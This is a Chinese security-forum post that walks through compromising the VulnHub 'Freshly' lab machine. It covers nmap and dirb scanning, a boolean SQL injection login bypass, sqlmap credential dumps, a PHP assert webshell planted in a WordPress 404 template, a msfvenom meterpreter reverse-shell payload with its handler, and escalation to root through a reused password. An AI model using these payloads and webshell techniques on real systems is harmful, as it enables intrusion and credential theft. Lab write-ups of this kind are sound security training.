安全矩阵

 找回密码
 立即注册
搜索
查看: 6811|回复: 0

Freshly靶机渗透

[复制链接]

23

主题

58

帖子

279

积分

中级会员

Rank: 3Rank: 3

积分
279
发表于 2020-11-22 10:58:11 | 显示全部楼层 |阅读模式
原文链接:Freshly靶机渗透
  1. <p>靶机下载链接 :</p><p>https://download.vulnhub.com/tophatsec/Freshly.ova</p><p>测试环境:</p><p>靶机:Freshly      </p><p>网络连接方式:桥接模式           </p><p>运行软件:Virtualbox</p><p>攻击机:kali,win10</p><p>网络连接方式:桥接模式</p>
复制代码

信息收集

1.1、确认IP

nmap扫描确认主机存活,确认靶机IP:192.168.50.78
nmap -sn 192.168.50.1/24



1.2、扫描端口和服务

nmap扫描端口和服务,将结果报错到freshly.txt文件中
nmap -p- -A 192.168.50.78 -oN freshly.txt
收集的信息:
80         http
443       https
8080     http
linux3.2-4.9     ubuntu  apache2.4.7



1.3、访问http服务

访问80端口,http://192.168.50.78/, 一张图片,没有发现什么有用的信息



访问443端口,https://192.168.50.78/ ,找到一个wordpress站点
https://192.168.50.78/wordpress/





访问8080,http://192.168.50.78:8080/ ,还是得到这个页面
https://192.168.50.78/wordpress/

1.4、扫描目录

dirb扫描目录
/img/
/wordpress/



dirbuster扫描目录










找web漏洞

2.1、查看wordpress页面

访问了
/store/,/cart/,/checkout/,/express/,/ipn/,/receipt/,这几个目录,没找到什么有用的信息



访问
http://192.168.50.78:8080/wordpress/atom ,一个邮件订阅页面,没发现有什么用



在搜索处尝试SQL注入,没有成功,用sqlmap也没结果



访问
http://192.168.50.78:8080/wordpress/wp-admin/ ,是一个更新数据库的页面



更新了下,没发现页面有什么变化



页面跳转至
http://192.168.50.78:8080/wordpress/login ,wordpress后台的登陆页



提示密码错误,说明admin用户存在,尝试弱口令爆破,没有成功



在主页下方的留言板留言试试



页面跳转至
https://192.168.50.78/wordpress/wp-comments-post.php ,并提示错误,没测出来漏洞




2.2、wpscan扫描

用wpscan扫描下,没发现什么有用的信息




2.3、忽略掉的思路和方向

扫目录加上端口

扫描目录时,忘了加端口,而默认扫描的,不是80端口下的内容,导致扫描出来的目录不全
重新扫描,http://192.168.50.78:80/
得到新的方向:
http://192.168.50.78:80/login.php
http://192.168.50.78:80/phpmyadmin/   
http://192.168.50.78:80/javascript/



访问
http://192.168.50.78:80/phpmyadmin/ ,尝试爆破,失败



SQL注入

访问http://192.168.50.78:80/login.php ,发现是个登陆页面



尝试万能密码,发现单引号就能绕过
1' or 1=1 #



页面没有跳转,只有0和1的显示,属于布尔型的注入

确认数据库名长度

确认数据库名长度为5
1' or 1=1 and length(database())=5#  //回显1
1' or 1=1 and length(database())>5# //回显0





sqlmap

布尔盲注有些繁琐,还是用sqlmap跑下吧
先拿到POST请求包,在user=1后加个*指定下注入点,将请求包保存到sqltest.txt中
  1. <code>POST /login.php HTTP/1.1</code>
复制代码


使用sqlmap进行测试
sqlmap -r sqltest.txt --batch



结果跑出来的是个时间盲注。。。



sqlmap -r sqltest.txt --dbs --batch

跑库名
  1. <code>[*] information_schema</code>
复制代码




sqlmap -r sqltest.txt -D login --tables --batch

跑表名
  1. <code>+-----------+</code>
复制代码




sqlmap -r sqltest.txt -D users --tables --batch
结果,users下没有表



sqlmap -r sqltest.txt -D wordpress8080 --tables --batch
  1. <code>+-------+</code>
复制代码




sqlmap -r sqltest.txt -D phpmyadmin --tables --batch
  1. <pre><code>+---------------------+</code></pre><pre><code>| pma_bookmark        |</code></pre><pre><code>| pma_column_info     |</code></pre><pre><code>| pma_designer_coords |</code></pre><pre><code>| pma_history         |</code></pre><pre><code>| pma_pdf_pages       |</code></pre><pre><code>| pma_recent          |</code></pre><pre><code>| pma_relation        |</code></pre><pre><code>| pma_table_coords    |</code></pre><pre><code>| pma_table_info      |</code></pre><pre><code>| pma_table_uiprefs   |</code></pre><pre><code>| pma_tracking        |</code></pre><pre><code>| pma_userconfig      |</code></pre><pre><code>+---------------------+</code></pre><p>
  2. </p><p><span tabindex="-1" contenteditable="false" data-cke-widget-wrapper="1" data-cke-filter="off" class="cke_widget_wrapper cke_widget_inline cke_widget_image cke_image_nocaption cke_widget_selected" data-cke-display-name="图像" data-cke-widget-id="17" role="region" aria-label=" 图像 小部件"><img data-cke-saved-src="https://img-blog.csdnimg.cn/img_convert/bb07bd4a2f1ad62bfa4853baa6061981.png" src="https://img-blog.csdnimg.cn/img_convert/bb07bd4a2f1ad62bfa4853baa6061981.png" data-cke-widget-data="{&quot;hasCaption&quot;:false,&quot;src&quot;:&quot;https://mmbiz.qpic.cn/mmbiz_png/RXib24CCXQ0ibeFKBD4IxCbXZ8sQYhY2yeJtAwfvL0kxOBZKUkk7pwMEuRibaaWr6BpgDjicAKpjMpSEURUia9QGjsQ/640?wx_fmt=png&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1&quot;,&quot;alt&quot;:&quot;&quot;,&quot;width&quot;:&quot;&quot;,&quot;height&quot;:&quot;&quot;,&quot;lock&quot;:true,&quot;align&quot;:&quot;none&quot;,&quot;classes&quot;:[]}" data-cke-widget-upcasted="1" data-cke-widget-keep-attr="0" data-widget="image" class="cke_widget_element" alt=""><span class="cke_reset cke_widget_drag_handler_container" style="background: url(" https:="" csdnimg.cn="" release="" blog_editor_html="" release1.6.19="" ckeditor="" plugins="" widget="" images="" handle.png")="" rgba(220,="" 220,="" 0.5);="" top:="" -15px;="" left:="" 0px;="" display:="" block;"=""><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" width="15" title="点击并拖拽以移动" height="15" role="presentation" draggable="true"></span><span class="cke_image_resizer" title="点击并拖拽以改变尺寸">​</span></span></p>
复制代码


跑字段

查询login数据库下users表中的字段,password和user_name
sqlmap -r sqltest.txt -D login -T users --columns --batch
  1. <pre><pre class="code-snippet__js" data-lang="ruby" style="padding-top: 1em; padding-right: 1em; padding-bottom: 1em; max-width: 1000%; overflow-x: auto; white-space: normal; -webkit-box-flex: 1; flex: 1 1 0%; color: rgb(51, 51, 51); letter-spacing: 0.544px; text-align: justify; box-sizing: border-box !important;"><code style="max-width: 1000%; text-align: left; white-space: pre; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="max-width: 1000%; box-sizing: border-box !important;">+-----------+-------------+</span></code><code style="max-width: 1000%; text-align: left; white-space: pre; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="max-width: 1000%; box-sizing: border-box !important;"><span class="code-snippet__params" style="max-width: 1000%; box-sizing: border-box !important;">| Column    |</span> Type        <span class="code-snippet__params" style="max-width: 1000%; box-sizing: border-box !important;">|</span></span></code><code style="max-width: 1000%; text-align: left; white-space: pre; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="max-width: 1000%; box-sizing: border-box !important;">+-----------+-------------+</span></code><code style="max-width: 1000%; text-align: left; white-space: pre; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="max-width: 1000%; box-sizing: border-box !important;"><span class="code-snippet_outer" style="max-width: 1000%; box-sizing: border-box !important;">|</span> password  <span class="code-snippet__params" style="max-width: 1000%; box-sizing: border-box !important;">| varchar(20) |</span></span></code><code style="max-width: 1000%; text-align: left; white-space: pre; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="max-width: 1000%; box-sizing: border-box !important;"><span class="code-snippet__params" style="max-width: 1000%; box-sizing: border-box !important;">| user_name |</span> varchar(<span class="code-snippet__number" style="max-width: 1000%; color: rgb(14, 156, 229); box-sizing: border-box !important;">20</span>) <span class="code-snippet__params" style="max-width: 1000%; box-sizing: border-box !important;">|</span></span></code><code style="max-width: 1000%; text-align: left; white-space: pre; display: flex; position: relative; font-family: Consolas, &quot;Liberation Mono&quot;, Menlo, Courier, monospace; box-sizing: border-box !important;"><span class="code-snippet_outer" style="max-width: 1000%; box-sizing: border-box !important;">+-----------+-------------+</span></code></pre></pre>
复制代码


查询login数据库下user_name表中的字段,得到user_name字段
sqlmap -r sqltest.txt -D login -T user_name --columns --batch



查询wordpress8080数据库下users表中的字段,得到password与username字段
sqlmap -r sqltest.txt -D wordpress8080 -T users --columns --batch



跑值

查询login数据库下user_name表下的user_name字段的值,得到candyshop
sqlmap -r sqltest.txt -D login -T user_name -C user_name --dump --batch



查询login数据库下users表下的user_name字段的值,得到candyshop和Sir
sqlmap -r sqltest.txt -D login -T users -C user_name --dump --batch



查询login数据库下users表下的password字段的值,得到password和PopRocks
sqlmap -r sqltest.txt -D login -T users -C password --dump --batch



查询wordpress8080 数据库下users表下的username字段的值,得到admin
sqlmap -r sqltest.txt -D wordpress8080 -T users -C username --dump --batch



查询wordpress8080 数据库下users表下的password字段的值,得到SuperSecretPassword
sqlmap -r sqltest.txt -D wordpress8080 -T users -C password --dump --batch



2.4、拿shell

C刀

拿到上面三对账号密码尝试登陆Wordpress,只有admin与SuperSecretPassword可以登陆



既然成功登陆到Wordpress,这次还是利用404页面拿shell
试着直接往404页面末尾加入一句话木马
<?php @assert($_POST[x]); ?>



用蚁剑连接失败,用C刀可以连接404页面
https://192.168.50.78/wordpress/ ... es/Kratos-2/404.php   密码x



试着通过C刀的模拟终端来提权发现不行,干脆直接重新上传个webshell即可,但不知道为啥C刀一上传文件软件就崩溃了,算了,换个方式

msf反弹shell
通过msf生成php格式的webshell,将内容复制刀404.php中
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.50.131 LPORT=9999 -f raw >shell.php
得到shell.php的具体内容如下:
  1. <code>/*<?php /**/ error_reporting(0); $ip = '192.168.50131';</code>
复制代码


将shell内容放到<?php  ?>标签中,然后复制到404.php最下方



msf监听9999端口
  1. <code>use exploit/multi/handler</code>
复制代码


访问https://192.168.50.78/wordpress/wp-content/themes/Kratos-
2/404.php   这个404页面
成功反弹shell,使用python反弹终端
python -c 'import
pty;pty.spawn("/bin/bash")'



2.5、提权

输入su
输入密码SuperSecretPassword
成功提权至root



本来还查看了/etc/passwd,发现有用户candycane,输入密码password,切换了用户



再从candycane提权到root



没想到直接从daemon提权至root成功了。。。







总结

遇到的坑:

1、扫目录的时候没有加端口,以为不加端口就是默认扫描80端口。。没想到默认扫的是8080端口,导致一直没找到突破口
2、尝试菜刀拿shell时,通过菜刀连接,一上传或下载文件就卡死。。。
3、尝试msf反弹shell时,发现shell.php并无完整的php标签<?php ?>,随意将代码复制到了原404代码中的<?php ?>中,虽然也能成功反弹shell,但404.php页面会打不开



新get的思路和方法:

可以在保证404页面正常访问前提下,利用wordpress的404页面反弹shell



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-20 15:25 , Processed in 0.032171 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表